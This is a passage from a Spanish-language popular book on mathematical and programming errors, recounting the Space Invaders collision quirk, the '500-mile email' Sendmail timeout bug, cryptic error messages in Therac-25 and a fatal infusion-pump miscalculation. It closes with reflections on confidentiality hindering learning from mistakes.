preocupados	por	ahorrar	espacio	en	la	limitada	ROM	del	chip	que	intentaron
economizarlo	todo	lo	posible.	Las	eficiencias	de	Space	Invaders	dieron	lugar
a	una	 serie	 de	peculiaridades	que	 fueron	 explotadas	por	 los	 jugadores,	 pero
algunas	son	tan	específicas	que	no	creo	que	ningún	jugador	 las	conociera,	y
menos	aún	que	las	utilizara.	Se	hallan	en	la	zona	gris	situada	entre	los	errores
de	programación	y	las	consecuencias	involuntarias.

Durante	 una	 partida	 de	 Space	 Invaders,	 el	 jugador	 podía	 disparar	 a	 los
alienígenas	 que	 iban	 descendiendo	 por	 la	 pantalla,	 a	 la	 misteriosa	 nave
ocasional	 que	 atravesaba	 volando	 la	 parte	 superior	 y	 a	 sus	 propios	 escudos
protectores.	El	programa	necesitaba	comprobar	si	un	disparo	había	alcanzado
algo	 importante.	 Detectar	 una	 colisión	 puede	 suponer	 una	 parte	 de	 código
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difícil	 de	 escribir,	 y	 los	 programadores	 responsables	 de	 Space	 Invaders
estaban	buscando	formas	de	simplificar	este	proceso.	Se	dieron	cuenta	de	que
todos	 los	 disparos	 o	 golpeaban	 algo	 o	 salían	 por	 la	 parte	 superior	 de	 la
pantalla.

Por	lo	que,	después	de	que	se	efectuara	cada	disparo,	el	programa	espera	a
ver	si	 la	bala	alcanza	una	misteriosa	nave	o	sale	de	la	pantalla.	Si	no	ocurre
nada	de	eso,	entonces	comprueba	 la	coordenada	y	de	 la	colisión	para	ver	 la
altura	en	la	que	se	produjo.	Si	es	más	alta	que	el	alienígena	situado	más	abajo,
entonces	debe	haber	alcanzado	a	uno	de	ellos:	no	existe	ninguna	otra	opción.
Y	aquí	se	pone	en	marcha	la	parte	del	código	asociada	con	la	pregunta:	«¿Qué
alienígena	ha	sido	alcanzado	por	el	disparo?».	Es	algo	parecido	al	procesador
SRI	 de	 los	 cohetes	Ariane:	 se	 hacen	 suposiciones	 sobre	 qué	 clase	 de	 datos
pueden	 llegar	 a	 él,	 y	 las	 comprobaciones	 solo	 se	 ejecutan	 cuando	 son
realmente	necesarias.

Los	alienígenas	 están	dispuestos	 en	una	cuadrícula	 compuesta	por	 cinco
filas	 con	 once	 alienígenas	 cada	 una.	 Para	 controlar	 los	 cincuenta	 y	 cinco
alienígenas,	el	programa	los	numera	del	0	al	54	y	utiliza	la	fórmula	de	11	×
FILA	+	COLUMNA	=	ALIENÍGENA	para	coger	la	fila	de	la	colisión	(de	0	a
4)	 y	 la	 columna	 (de	 0	 a	 10)	 y	 convertirlas	 en	 el	 número	 del	 alienígena
alcanzado	por	el	disparo.

Todo	esto	funcionaba	a	menos	que	el	jugador	disparara	estratégicamente	a
todos	los	alienígenas	excepto	al	de	la	esquina	superior	izquierda.	Era	el	de	la
fila	4,	columna	0,	lo	que	significa	que	es	el	alienígena	número	11	×	4	+	0	=
44.	En	ese	momento,	el	jugador	ve	al	alienígena	44	moverse	de	lado	a	lado,
descendiendo	lentamente,	hasta	que	está	a	punto	de	golpear	el	lado	izquierdo
de	 la	 pantalla	 en	 su	 última	 pasada,	 justo	 por	 encima	 de	 los	 escudos	 del
jugador.	En	ese	momento,	el	jugador	dispara	a	su	propio	escudo	situado	más	a
la	derecha.

El	 juego	 registra	 esto	 como	 un	 disparo	 dentro	 de	 la	 cuadrícula	 de
alienígenas	y	supone	que	debe	haber	alcanzado	a	alguno	de	ellos.	El	escudo
está	tan	a	la	derecha	que	es	donde	debería	estar	la	línea	doce,	pero	el	código
no	 detiene	 la	 comprobación.	 Convierte	 obedientemente	 la	 coordenada
horizontal	de	la	colisión	en	un	número	de	fila	y	obtiene	un	11,	fuera	del	rango
normal	 de	 columnas	 (de	 0	 a	 10).	 Al	 colocar	 este	 número	 incorrecto	 de
columna	en	la	fórmula	nos	da	lo	siguiente:	11	×	3	+	11	=	44	y	el	alienígena
del	lado	opuesto	de	la	pantalla	explota.

De	 acuerdo,	 no	 es	 un	 error	 garrafal,	 pero	 demuestra	 cómo	 incluso	 un
sistema	tan	sencillo	como	el	de	Space	Invaders	puede	dar	lugar	a	situaciones
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que	los	programadores	no	vieron	venir.	El	código	original	de	Space	Invaders
no	 contenía	 comentarios,	 pero	 existe	 un	 proyecto	 en	 línea	 en	 la	 web
computerarcheology.com	 que	 lo	 analiza	 y	 comenta	 con	 notas	modernas.	 Es
una	lectura	divertida.	Me	encantan	todos	los	códigos	que	tienen	comentarios
como	«obtén	información	sobre	el	estado	del	alienígena;	¿está	vivo?».	Quiero
decir,	 cualquier	 comentario	 que	 no	 sea	 una	 versión	 pasada	 mía	 siendo	 un
idiota	son	un	regalo.

Formación	inicial	de	los	alienígenas	en	una	cuadrícula	de	cinco	por	once.	Un	disparo	oportuno	da	en
el	escudo	donde	debería	estar	una	doceava	columna.
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El	correo	electrónico	de	las	500	millas

Ser	 el	 administrador	 de	 un	 sistema	 (o	 sysadmin)	 de	 una	 red	 informática
grande	 es	 lo	 suficientemente	 intimidante	 como	 para	 que	 encima	 se	 trate	 de
una	 red	 informática	 en	 una	 universidad	 a	 finales	 de	 los	 noventa.	 Los
departamentos	 universitarios	 pueden	 ser	 un	 poco	 susceptibles	 respecto	 a	 su
autonomía	 y,	 en	 el	 ambiente	 que	 recuerda	 al	 salvaje	 oeste	 del	 inicio	 de
internet	 durante	 los	 noventa,	 era	 la	 combinación	 perfecta	 para	 que	 se
produjera	un	desastre	de	compleja	solución.

Y	 así	 fue	 como	 Trey	 Harris,	 un	 administrador	 de	 sistemas	 de	 la
Universidad	 de	 Carolina	 del	 Norte,	 recibió	 con	 cierto	 temor	 una	 llamada
telefónica	del	director	del	departamento	de	estadística	en	algún	momento	de
1996.	Tenían	un	problema	con	su	correo	electrónico.	Algunos	departamentos
habían	decidido	tener	sus	propios	servidores	de	correo	electrónico,	entre	ellos
el	 departamento	 de	 estadística,	 y	 Trey	 ayudó,	 de	 manera	 informal,	 a	 que
funcionaran	de	forma	correcta.	Lo	que	significa	que	ahora,	de	forma	informal,
era	su	problema:

«Estamos	 teniendo	 problemas	 enviando	 correos	 electrónicos	 a	 destinatarios	 de	 fuera	 del
departamento.»

«¿Cuál	es	el	problema?»
«No	podemos	enviar	mails	a	personas	que	están	a	más	de	500	millas.»
«¿Cómo	dices?»

El	 director	 de	 estadística	 le	 explicó	 que	 nadie	 del	 departamento	 podía
enviar	un	correo	electrónico	a	personas	situadas	a	más	de	520	millas.	Algunos
correos	 enviados	 a	 personas	 que	 estaban	 dentro	 de	 ese	 rango	 también
fallaban,	cosa	que	ocurría	con	todos	los	que	enviaban	a	lugares	situados	a	más
de	520	millas.	Por	lo	visto,	esto	llevaba	ocurriendo	unos	días,	pero	no	habían
informado	 de	 ello	 porque	 estaban	 intentando	 recoger	 los	 suficientes	 datos
para	 establecer	 la	 distancia	 exacta.	 Al	 parecer,	 uno	 de	 sus	 geoestadísticos
estaba	elaborando	un	bonito	mapa	con	los	lugares	a	los	que	se	podía	y	no	se
podía	enviar	un	correo	electrónico.

Con	incredulidad,	entró	en	su	sistema	y	envió	algunos	correos	de	prueba	a
través	del	servidor	del	departamento.	Los	correos	 locales	y	otros	enviados	a
Washington	D.	C.	(240	millas),	Atlanta	(340	millas)	y	Princeton	(400	millas)
salieron	 sin	 problemas.	 Pero	 los	 que	 envió	 a	 Providence	 (580	 millas),
Memphis	(600	millas)	y	Boston	(620	millas)	fallaron.

Nervioso,	envió	un	correo	electrónico	a	un	amigo	suyo	que	vivía	cerca,	en
Carolina	del	Norte,	pero	cuyo	servidor	de	correo	se	hallaba	en	Seattle	(a	2.340
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millas).	Afortunadamente,	falló.	Si	 los	correos	electrónicos	sabían	de	alguna
manera	 la	 localización	 geográfica	 del	 receptor,	 entonces	 Trey	 se	 hubiera
puesto	a	llorar.	Al	menos,	el	problema	tenía	algo	que	ver	con	la	distancia	que
le	separaba	del	servidor	que	recibía	el	correo.	Pero	nada	de	lo	que	contienen
los	protocolos	de	correo	electrónico	dependía	de	lo	lejos	que	necesitaba	llegar
la	señal.

Abrió	el	archivo	sendmail.cf,	un	archivo	que	contiene	todos	los	detalles	y
reglas	que	determinan	cómo	se	envía	un	correo	electrónico.	Cada	que	vez	que
se	 envía	 uno,	 revisa	 este	 archivo	 para	 obtener	 las	 instrucciones	 requeridas
para	 luego	 pasar	 al	 sistema	 de	 correo	 responsable	 del	 envío.	 Le	 sonaba
familiar	porque	 lo	había	 escrito	 el	propio	Trey.	Nada	estaba	 fuera	de	 lugar;
debería	haber	funcionado	perfectamente	con	el	sistema	principal	de	envío	de
correos	electrónicos.

Por	lo	que	comprobó	el	sistema	principal	del	departamento	(para	aquellos
que	 quieran	 flagelarse	 siguiendo	 los	 pasos	 al	 detalle,	 se	 conectó	 al	 puerto
SMTP	por	Telnet	a	través	del	puerto	SMTP)	y	el	sistema	operativo	Sun	le	dio
la	 bienvenida.	 Escarbando	 un	 poco	 encontró	 que	 el	 departamento	 de
estadística	 había	 actualizado	 hacía	 poco	 la	 copia	 de	 Sun	 que	 utilizaba	 el
servidor,	 y	 esa	 actualización	 venía	 con	 una	 versión	 predeterminada	 de
Sendmail	 5.	 Previamente,	 Trey	 había	 configurado	 el	 sistema	 para	 utilizar
Sendmail	8,	pero	ahora,	la	nueva	versión	del	sistema	operativo	Sun	instalaba
una	versión	anterior,	la	5.	Trey	había	escrito	el	archivo	sendmail.cf	dando	por
hecho	que	solo	sería	leído	por	la	versión	8	del	programa	Sendmail.

De	acuerdo,	si	usted	ha	leído	lo	anterior	por	encima,	ahora	lo	resumiré.	Lo
que	ocurrió,	 en	 pocas	 palabras,	 es	 que	 las	 instrucciones	 para	 enviar	 correos
electrónicos	se	habían	escrito	para	un	sistema	nuevo	y,	cuando	se	utilizaron
en	un	sistema	más	antiguo,	 se	produjo	el	problema	clásico	una	vez	más:	un
programa	informático	intentando	digerir	unos	datos	que	no	se	escribieron	para
él.	 Una	 parte	 de	 los	 datos	 eran	 los	 tiempos	 de	 espera	 y,	 en	 la	 indigestión
sufrida	por	Sendmail	5,	les	dio	un	valor	predeterminado:	cero.

Si	 un	 servidor	 informático	 envía	 un	 correo	 electrónico	 y	 no	 recibe
respuesta,	necesita	decidir	cuándo	dejar	de	esperar	y	rendirse,	aceptando	que
el	 correo	 se	 ha	 perdido	 para	 siempre.	 Este	 tiempo	 de	 espera	 ahora	 se
restablecía	 a	 cero.	 El	 servidor	 intentaba	 enviar	 el	 correo	 electrónico	 e
inmediatamente	 desistía.	 Lo	 mismo	 que	 los	 padres	 que	 convierten	 la
habitación	 de	 sus	 hijos	 en	 el	 cuarto	 de	 costura	 antes	 incluso	 de	 que	 estos
finalicen	el	viaje	que	les	lleva	la	universidad.

Página	261



Bueno,	 en	 la	 práctica	 no	 sería	 exactamente	 cero.	 Seguiría	 existiendo	 un
retraso	en	el	proceso	inherente	al	programa	de	unos	pocos	milisegundos	entre
el	momento	en	el	que	se	envía	el	correo	electrónico	y	el	momento	en	el	que	el
programa	es	capaz,	oficialmente,	de	desistir.	Trey	cogió	un	papel	y	se	puso	a
hacer	 algunos	 cálculos	 aproximados.	 La	 facultad	 estaba	 directamente
conectada	 con	 internet,	 por	 lo	 que	 los	 correos	 electrónicos	 podían	 salir	 del
sistema	 muy	 rápidamente.	 El	 primer	 retraso	 en	 la	 señal	 alcanzaría	 el	 rúter
situado	al	final	del	viaje	y	se	enviaría	una	respuesta.

Si	el	servidor	receptor	del	correo	no	estaba	muy	cargado	y	podía	enviar	la
respuesta	 lo	 suficientemente	 rápido,	 el	 único	 límite	 que	 quedaba	 era	 la
velocidad	de	 la	señal.	Trey	 tuvo	en	cuenta	 la	velocidad	de	 la	 luz	en	 la	 fibra
óptica	para	el	viaje	de	regreso,	además	de	los	retrasos	del	rúter,	y	había	una
pérdida	 de	 la	 señal	 más	 o	 menos	 a	 500	 millas.	 Los	 correos	 electrónicos
estaban	limitados	por	la	naturaleza	finita	de	la	velocidad	de	la	luz.

Esto	también	explicaba	por	qué	algunos	correos	fallaban	dentro	del	radio
de	500	millas:	los	servidores	receptores	eran	demasiado	lentos	para	devolver
una	 señal	 antes	 de	 que	 el	 sistema	 emisor	 dejara	 de	 escuchar.	 Una	 simple
reinstalación	 de	 la	 versión	 8	 de	 Sendmail,	 y	 el	 archivo	 de	 configuración
sendmail.cf	de	nuevo	era	capaz	de	ser	leído	correctamente	por	el	servidor	de
correo.

Esto	demuestra	que,	aunque	algunos	administradores	de	sistemas	se	ven	a
sí	mismos	como	dioses	en	la	Tierra,	siguen	teniendo	que	obedecer	las	leyes	de
la	física.

Interacciones	humanas

En	2001,	estaba	un	día	encendiendo	el	ordenador	que	me	monté	con	Windows
y	que	casi	me	había	durado	todos	los	años	de	universidad,	y	(en	la	pantalla	de
inicio	de	la	BIOS)	apareció,	en	blanco,	un	texto	que	destacaba	sobre	un	fondo
negro:

Keyboard	error	or	no	keyboard	present
Press	F1	to	continue,	DEL	to	enter	SETUP.

Ya	había	oído	hablar	de	mensajes	de	error	del	tipo:	«no	se	detecta	ningún
teclado,	pulse	cualquier	tecla	para	continuar»,	pero	nunca	había	visto	uno	en
directo.	Corrí	en	busca	de	mi	compañero	de	habitación	para	ver	si	podía	venir
y	verlo.	Se	habló	de	ello	en	la	residencia	durante	días	(de	acuerdo,	puede	que
mi	 memoria	 haya	 exagerado	 ligeramente	 la	 experiencia).	 Los	 mensajes	 de
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error	 son	 una	 fuente	 constante	 de	 entretenimiento	 en	 el	 mundo	 de	 las
tecnologías.

Pero	están	ahí	por	una	razón.	Si	un	programa	deja	de	funcionar,	un	buen
mensaje	de	error	detallando	qué	condujo	al	desastre	puede	darle	a	la	persona
que	lo	ha	de	arreglar	un	punto	desde	el	que	empezar.	Pero	muchos	mensajes
de	error	 informáticos	son	solo	un	código	que	necesita	ser	revisado.	Algunos
de	 estos	 códigos	 de	 error	 se	 han	 vuelto	 tan	 comunes	 que	 el	 público	 no
especializado	 los	 entiende.	 Si	 algo	 falla	 mientras	 se	 navega	 por	 internet,
mucha	gente	sabe	que	si	aparece	el	mensaje	«error	404»	significa	que	no	se
ha	 podido	 encontrar	 esa	 web.	 En	 realidad,	 cualquier	 error	 de	 este	 estilo,
relacionado	con	una	página	web,	y	que	empieza	por	4	significa	que	el	error
estaba	en	el	 lado	del	usuario	 (como	el	403:	 intento	de	acceder	a	una	página
prohibida),	 y	 los	 códigos	 que	 empiezan	 por	 5	 son	 culpa	 del	 servidor.	 El
código	 de	 error	 503	 significa	 que	 el	 servidor	 no	 estaba	 disponible;	 el	 507
significa	que	el	espacio	destinado	a	almacenaje	está	demasiado	lleno.

Siempre	divertidos,	 los	 ingenieros	 telemáticos	han	 llamado	al	 código	de
error	418	«soy	una	 tetera».	Es	devuelto	por	cualquier	 tetera	con	conexión	a
internet	a	 la	que	se	 le	pide	que	haga	café.	Fue	 introducido	como	parte	de	 la
publicación	en	1998	de	las	especificaciones	del	Protocolo	de	Hipertexto	para
Control	de	Cafeteras	(HTCPCP	por	sus	siglas	en	inglés).	Fue	una	broma	del
día	de	los	inocentes	en	Estados	Unidos,	pero	desde	entonces	se	han	fabricado
teteras	 que	 sí	 se	 conectan	 y	 funcionan	 según	 el	 HTCPCP.	 En	 2017,	 el
movimiento	Salvar	el	418	impidió	que	se	retirase	ese	error,	consiguiendo	que
se	 conservase	 como	 «recordatorio	 de	 que	 los	 procesos	 subyacentes	 de	 los
ordenadores	siguen	estado	fabricados	por	humanos».

Dado	que	su	intención	es	que	solo	sea	utilizado	por	personas	del	mundo
tecnológico,	muchos	códigos	informáticos	de	error	son	muy	funcionales	y,	sin
duda	 alguna,	 no	 son	 fáciles	 de	 utilizar.	 Pero	 pueden	 aparecer	 algunos
problemas	 serios	 cuando	 usuarios	 no	 técnicos	 se	 topan	 con	 un	 mensaje	 de
error	 demasiado	 técnico.	 Este	 fue	 uno	 de	 los	 problemas	 de	 la	 máquina	 de
radiación	Therac-25	con	el	asunto	de	los	desbordamientos.	La	máquina	daba
unos	cuarenta	mensajes	de	error	por	día,	con	nombres	que	son	de	muy	poca
ayuda,	 y	 muchos	 de	 los	 cuales	 no	 eran	 importantes,	 los	 operadores	 se
habituaron	a	 los	apaños	rápidos	y	a	continuar	con	 los	 tratamientos.	Algunos
de	los	casos	de	sobredosis	se	podrían	haber	previsto	si	el	operario	no	hubiera
desestimado	los	mensajes	de	error	y	continuado	como	si	nada.

En	un	caso	sucedido	en	marzo	de	1986,	la	máquina	dejó	de	funcionar	y	el
mensaje	 de	 error	 «Malfunction	 54»	 apareció	 en	 la	 pantalla.	Muchos	 de	 los
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mensajes	de	error	contenían	únicamente	la	palabra	«Malfunction»	(fallo	o	mal
funcionamiento)	 seguida	 de	 un	 número.	Cuando	 analizaron	 el	 fallo	 número
54,	la	explicación	fue	que	se	trataba	del	«error	2	de	entrada	de	dosis».	En	la
investigación	posterior	 se	descubrió	que	ese	 tipo	de	error	 significaba	que	 la
dosis	o	era	muy	alta	o	muy	baja.

Todos	estos	códigos	y	descripciones	impenetrables	serían	graciosos	si	no
fuera	 por	 el	 hecho	 de	 que	 un	 paciente	 del	 caso	 asociado	 con	 el	 «fallo	 54»
murió	por	estar	sobrexpuesto	a	la	radiación.	Cuando	se	trata	de	equipamiento
médico,	 los	 mensajes	 de	 error	 deficientes	 pueden	 costar	 vidas.	 Una	 de	 las
modificaciones	recomendadas	antes	de	que	las	máquinas	Therac-25	pudieran
volver	 a	 ser	utilizadas	 fue	«los	mensajes	 crípticos	de	error	 serán	 sustituidos
por	mensajes	con	sentido».

En	 2009,	 un	 grupo	 de	 universidades	 y	 hospitales	 del	 Reino	 Unido	 se
unieron	 para	 formar	 el	 proyecto	CHI+MED	 (siglas	 en	 inglés	 que	 significan
interacción	 entre	 ordenadores	 y	 humanos	 para	 dispositivos	 médicos).
Pensaron	 que	 se	 podía	 hacer	 mucho	 más	 para	 limitar	 los	 efectos
potencialmente	 peligrosos	 de	 los	 errores	 matemáticos	 y	 tecnológicos	 en	 la
medicina	y,	de	un	modo	parecido	a	 lo	que	ocurría	con	el	modelo	del	queso
suizo,	creían	que,	en	lugar	de	buscar	a	quien	echarle	la	culpa,	el	sistema	en	su
conjunto	debería	procurar	evitar	los	errores.

En	el	campo	de	la	medicina,	existe	una	impresión	generalizada	de	que	las
buenas	 personas	 no	 cometen	 errores.	 De	 forma	 instintiva,	 sentimos	 que	 la
persona	que	ignoró	el	mensaje	sobre	el	fallo	54	y	pulsó	la	P	del	teclado	para
aplicar	la	dosis	de	radiación	es	el	culpable	de	la	muerte	de	ese	paciente.	Pero
es	mucho	más	complicado	que	eso.	Tal	como	señala	Harold	Thimbleby,	del
CHI+MED,	 simplemente	 eliminar	 a	 todos	 aquellos	 que	 admiten	 haber
cometido	un	error	no	es	un	buen	sistema:

Las	personas	que	admiten	haber	cometido	errores	son,	en	el	mejor	de	los	casos,	suspendidas
o	trasladadas,	dejando	de	ese	modo	detrás	a	un	equipo	que	«no	comete	errores»	y	que	no	tiene
experiencia	en	administrar	esos	errores.

H.	Thimbleby,	«Errors	+	Bugs	Needn’t	Mean	Death»,
Informe	de	la	Administración	Pública:	UK	Science	&

Technology,	2,	págs.	18-19,	2011

Señala	 que,	 en	 farmacia,	 es	 ilegal	 dar	 a	 un	 paciente	 el	 fármaco
equivocado.	Esto	no	fomenta	un	ambiente	en	el	que	se	admitan	y	afronten	los
errores.	 Aquellos	 que	 cometen	 un	 desliz	 y	 lo	 admiten	 pueden	 perder	 su
trabajo.	Este	sesgo	de	supervivencia	significa	que	la	siguiente	generación	de
estudiantes	 de	 farmacia	 será	 enseñada	 por	 farmacéuticos	 que	 nunca	 «han
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cometido	errores».	Perpetúa	la	impresión	de	que	los	errores	son	sucesos	poco
frecuentes.	Pero	todos	los	cometemos.

En	Canadá,	en	agosto	de	2006,	a	un	paciente	con	cáncer	le	administraron
el	 fármaco	 de	 quimioterapia	 Fluorouracilo,	 que	 tenía	 que	 ser	 administrado
mediante	una	bomba	de	infusión	que	liberaba	gradualmente	el	fármaco	en	su
sistema	 durante	 cuatro	 días.	 Lamentablemente,	 debido	 a	 un	 error	 de
configuración	 de	 la	 bomba,	 todo	 el	 fármaco	 se	 liberó	 en	 cuatro	 horas	 y	 el
paciente	falleció	por	sobredosis.	La	única	forma	de	procesar	esto	es	culpar	a
la	 enfermera	 que	 configuró	 la	 bomba,	 y	 puede	 que	 a	 la	 enfermera	 que
comprobó	 el	 trabajo	 de	 la	 anterior.	 Pero,	 como	 siempre,	 es	 algo	 más
complicado	que	eso:

5-Fluorouracilo	 5.250	 mg	 (a	 4.000	 mg/m2)	 intravenosa,	 dosis	 única	 continua	 durante	 4
días…	 Infusión	 continua	 mediante	 bomba	 de	 infusión	 en	 ambulatorio	 (dosis	 de	 referencia:
1.000	mg/m2/día	=	4,000	mg/m2/4	días).

Prescripción	electrónica	del	Fluorouracilo

La	 prescripción	 original	 del	 Fluorouracilo	 era	 bastante	 difícil	 de	 seguir,
pero	 luego	 pasó	 a	 un	 farmacéutico	 que	 preparó	 130	 mililitros	 de	 una
disolución	 de	 45,57	mg/ml	 de	 Fluorouracilo.	 Cuando	 llegó	 al	 hospital,	 una
enfermera	tuvo	que	calcular	el	ritmo	de	liberación	para	programar	la	bomba.
Después	 de	 hacer	 algunos	 cálculos	 con	 una	 calculadora,	 le	 salió	 la	 cifra	 de
28,8	mililitros.	Consultó	la	etiqueta	de	la	farmacia	y,	estando	bastante	segura,
vio	que	en	la	sección	de	la	dosis	ponía	28,8	mililitros.

Pero,	 durante	 los	 cálculos,	 la	 enfermera	 se	 olvidó	 de	 dividir	 por	 las
veinticuatro	horas	por	día.	Había	calculado	que	eran	28,8	mililitros	por	día	y
supuso	 que	 eran	 28,8	 mililitros	 por	 hora.	 La	 etiqueta	 de	 la	 farmacia	 ponía
primero	que	eran	28,8	mililitros	por	día,	y	luego,	entre	paréntesis,	la	cantidad
por	 hora	 (1,2	 ml/h).	 Una	 segunda	 enfermera	 revisó	 lo	 que	 había	 hecho	 la
primera	 y,	 ahora	 sin	 calculadora	 alguna,	 hizo	 los	 cálculos	 en	 un	 pedazo	 de
papel	 y	 cometió	 exactamente	 el	 mismo	 error.	 Dado	 que	 el	 número	 era	 el
mismo	que	el	anterior,	no	se	cuestionó	si	era	correcto.	El	paciente	fue	enviado
a	casa	y	se	sorprendió	de	que	la	bomba,	que	debería	haber	durado	cuatro	días,
se	vaciara	y	se	pusiera	a	pitar	después	de	tan	solo	cuatro	horas.

Se	 pueden	 aprender	muchas	 cosas	 de	 ese	 caso	 sobre	 cómo	 describir	 las
prescripciones	de	las	dosis	de	los	fármacos	y	sobre	cómo	son	etiquetados	los
productos	 farmacéuticos.	 Podemos,	 incluso,	 aprender	 sobre	 el	 amplio	 rango
de	 tareas	 complejas	 que	 tienen	 que	 realizar	 las	 enfermeras	 y	 el	 apoyo	 y
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revisión	con	la	que	cuentan.	Pero	los	chicos	del	CHI+MED	se	interesaron	más
en	la	tecnología	que	propició	que	se	cometieran	estos	errores	matemáticos.

La	interfaz	de	la	bomba	era	complicada	y	nada	intuitiva.	Más	allá	de	eso,
la	bomba	no	tenía	ningún	tipo	de	chequeo	integrado	y	seguía	alegremente	las
instrucciones	dadas	para	vaciarse	a	un	 ritmo	anormalmente	 rápido	para	este
fármaco.	 Para	 una	 bomba	 tan	 esencial	 tendría	 sentido	 que	 supiese	 qué
fármaco	es	el	que	 se	está	administrando	y	 realizase	una	comprobación	 final
sobre	el	ritmo	que	ha	sido	programado	(y	que	luego	mostrase	un	mensaje	de
error	comprensible).

Incluso	más	interesante	me	parece	la	observación	que	hizo	el	CHI+MED
sobre	el	hecho	de	que	la	enfermera	utilizara	una	«calculadora	de	uso	general
que	no	tenía	ni	idea	de	qué	cálculo	se	estaba	haciendo».	Nunca	había	pensado
en	 serio	 en	 que	 todas	 las	 calculadoras	 son	 de	 uso	 general	 y	 que	 escupen	 a
ciegas	 cualquier	 respuesta	 que	 encaje	 con	 los	 botones	 que	 se	 pulsen.
Pensándolo	 mejor,	 la	 mayoría	 de	 las	 calculadoras	 no	 tienen	 detector	 de
errores	integrado	y	no	deberían	utilizarse	en	una	situación	de	vida	y	muerte.
Lo	que	quiero	decir	es	que	adoro	mi	Casio	fx-39,	pero	no	le	confiaría	mi	vida.

Desde	 entonces,	 CHI+MED	 ha	 desarrollado	 una	 aplicación	 calculadora
que	 es	 consciente	 de	 qué	 tipo	 de	 cálculo	 se	 está	 realizando	 y	 bloquea	 unos
treinta	 errores	 médicos	 de	 cálculo	 muy	 comunes.	 Entre	 estos	 se	 incluyen
algunos	 errores	 comunes	 que	 creo	 que	 todas	 las	 calculadoras	 deberían	 ser
capaces	 de	 entender,	 como	 colocar	mal	 la	 coma	 decimal.	 Si	 quieres	 teclear
23,14	 pero	 introduces	 accidentalmente	 2,3,14,	 cómo	 lo	 interpretará	 la
calculadora	es	una	lotería.	La	mía	entiende	que	he	introducido	2,314	y	sigue
adelante	 como	 si	 nada	 hubiera	 ocurrido.	 Una	 buena	 calculadora	 médica
avisará	 si	 los	 números	 introducidos	 son	 ambiguos;	 de	 lo	 contrario,	 las
probabilidades	de	un	accidente	se	multiplican	por	diez.

Sin	 ninguna	 duda,	 la	 programación	 ha	 aportado	muchos	 beneficios	 a	 la
humanidad,	 pero	 aún	 es	 temprano.	 Los	 códigos	 complejos	 siempre
reaccionarán	de	formas	que	sus	desarrolladores	no	se	esperaban.	Pero	existe
la	 esperanza	 de	 que	 los	 dispositivos	 bien	 programados	 puedan	 añadir	 más
rodajas	de	queso	a	nuestros	sistemas	modernos.

Página	266



ASÍ	PUES,	¿QUÉ	HEMOS	APRENDIDO	DE
NUESTROS	ERRORES?

Mientras	 estaba	 escribiendo	 este	 libro,	 en	 uno	 de	 los	 muchos	 viajes	 que
realizamos	mi	 esposa	 y	 yo,	 hicimos	 una	 pausa	 para	 descansar	 del	 trabajo	 y
nos	 pasamos	un	día	 visitando	una	 ciudad	 extranjera	 cualquiera.	Una	 ciudad
muy	grande	y	 famosa.	Hicimos	 algunas	 cosas	 que	 suelen	hacer	 los	 turistas,
pero	entonces	me	di	cuenta	de	que	estábamos	en	la	misma	ciudad	en	la	que	un
amigo	mío	había	realizado	un	trabajo	como	ingeniero.

Este	 amigo	 mío	 había	 participado	 en	 el	 diseño	 y	 construcción	 de	 un
proyecto	de	ingeniería	(piense	en	algo	como	un	edificio	o	un	puente)	en	algún
momento	 de	 las	 últimas	 décadas.	 Una	 vez,	 tomando	 unas	 cervezas,	 me
comentó	que	habían	cometido	un	error	durante	el	proceso	de	diseño,	un	error
matemático	que,	 por	 suerte,	 no	 tuvo	ningún	 impacto	 en	 la	 seguridad	de	 esa
cosa.	Pero	sí	que	lo	había	cambiado	ligeramente,	en	un	aspecto	estético	casi
trivial.	 Algo	 no	 estaba	 como	 originalmente	 se	 había	 planeado.	 Y	 sí,	 esta
historia	es	deliberadamente	ambigua.

Verán,	mi	esposa	 (siempre	dispuesta	a	apoyarme)	me	ayudó	a	encontrar
esa	 evidencia	 visual	 del	 error	 matemático	 de	 mi	 amigo,	 por	 lo	 que	 pude
hacerme	una	foto	junto	a	«eso».	No	tengo	ni	idea	de	lo	que	debieron	pensar
los	transeúntes	que	por	allí	pasaban	al	verme	posando	junto	a	aparentemente
nada.	Pero	yo	estaba	entusiasmado.	Iba	a	ser	un	ejemplo	contemporáneo	que
podría	incluir	en	este	libro.	Hay	muchos	errores	de	ingeniería	históricos,	pero
mi	amigo	sigue	vivo	y	podía	contarme	cómo	se	produjo	dicho	error.	No	era
nada	peligroso,	por	lo	que	podría	explicar	con	franqueza	cómo	ocurrió.

Me	temo	que	no	podrás	usar	eso.
Casi	podía	oír	el	pesar	en	su	voz	cuando	me	habló	del	error	por	primera

vez.	Tampoco	pude	convencerle	al	enseñarle	 las	 fotos	de	mis	vacaciones	en
las	que	yo	salía	 junto	a	 la	manifestación	de	su	error	de	cálculo.	Me	explicó
que,	 aunque	 esta	 clase	 de	 cosas	 se	 analizaran	 y	 discutieran	 dentro	 de	 la
empresa,	 nunca	 se	 han	 difundido	 al	 exterior,	 ni	 siquiera	 algo	 tan
intrascendente	 como	 «eso».	 El	 contrato	 y	 los	 acuerdos	 de	 confidencialidad
impiden	 legalmente	 a	 los	 ingenieros	 divulgar	 cualquier	 aspecto	 de	 los
proyectos	 en	 los	 que	 participan	 durante	 décadas	 después	 de	 que	 hayan
finalizado.

Así	son	las	cosas.	Lo	único	que	les	puedo	contar	sobre	ese	tema	es	que	no
puedo	 contar	 nada.	Y	 no	 se	 trata	 solo	 de	 ingenieros	 a	 los	 que	 les	 prohíben
hablar	 públicamente.	 Otro	 amigo	 matemático	 mío	 realiza	 trabajos	 de
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consultoría	sobre	las	matemáticas	utilizadas	en	una	empresa	del	ámbito	de	la
seguridad	 muy	 conocida.	 Le	 contratará	 una	 empresa	 para	 realizar	 alguna
investigación	 y	 para	 descubrir	 errores	 cometidos	 por	 la	 industria.	 Pero
entonces,	cuando	trabaje	para	una	compañía	diferente	o	incluso	si	asesora	al
gobierno	en	temas	de	seguridad,	no	podrá	revelar	lo	que	haya	descubierto	con
anterioridad	trabajando	para	otros.	Todo	esto	es	un	poco	exagerado.

No	parece	que	los	humanos	seamos	muy	buenos	a	la	hora	de	aprender	de
los	 errores.	 Y	 no	 se	 me	 ocurre	 ninguna	 solución	 infalible:	 puedo	 entender
perfectamente	 que	 las	 empresas	 no	 quieran	 que	 se	 aireen	 sus	 defectos,	 o	 la
investigación	que	tuvieron	que	financiar	para	publicarla	gratis.	Y,	en	cuanto	al
error	estético	de	ingeniería	que	cometió	mi	amigo,	puede	que	lo	correcto	sea
que	 nadie	 más	 lo	 averigüe.	 Pero	 me	 gustaría	 que	 hubiera	 un	 mecanismo
